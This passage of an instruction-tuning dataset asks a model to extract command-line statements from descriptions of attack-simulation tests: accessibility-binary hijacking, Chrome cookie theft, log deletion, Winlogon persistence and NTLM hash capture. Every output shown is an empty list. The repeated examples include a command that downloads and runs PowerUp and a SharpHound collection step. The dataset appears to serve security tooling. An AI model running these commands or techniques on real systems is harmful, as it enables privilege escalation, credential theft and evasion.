Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Replace Magnify.exe (Magnifier binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Magnifier from the Accessibility menu on the login screen.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Uses GZip from Python to compress files\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    RpcPing command can be used to send an RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. \nRef: https://twitter.com/vysecurity/status/974806438316072960",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. \nOnce an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. \nNote: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test deletes the system log file using unlink utility\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test will append a command to the  HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit value to launch calc.exe on boot.\n* Requires reboot\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Check for privilege escalation paths using PowerUp from PowerShellMafia\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module 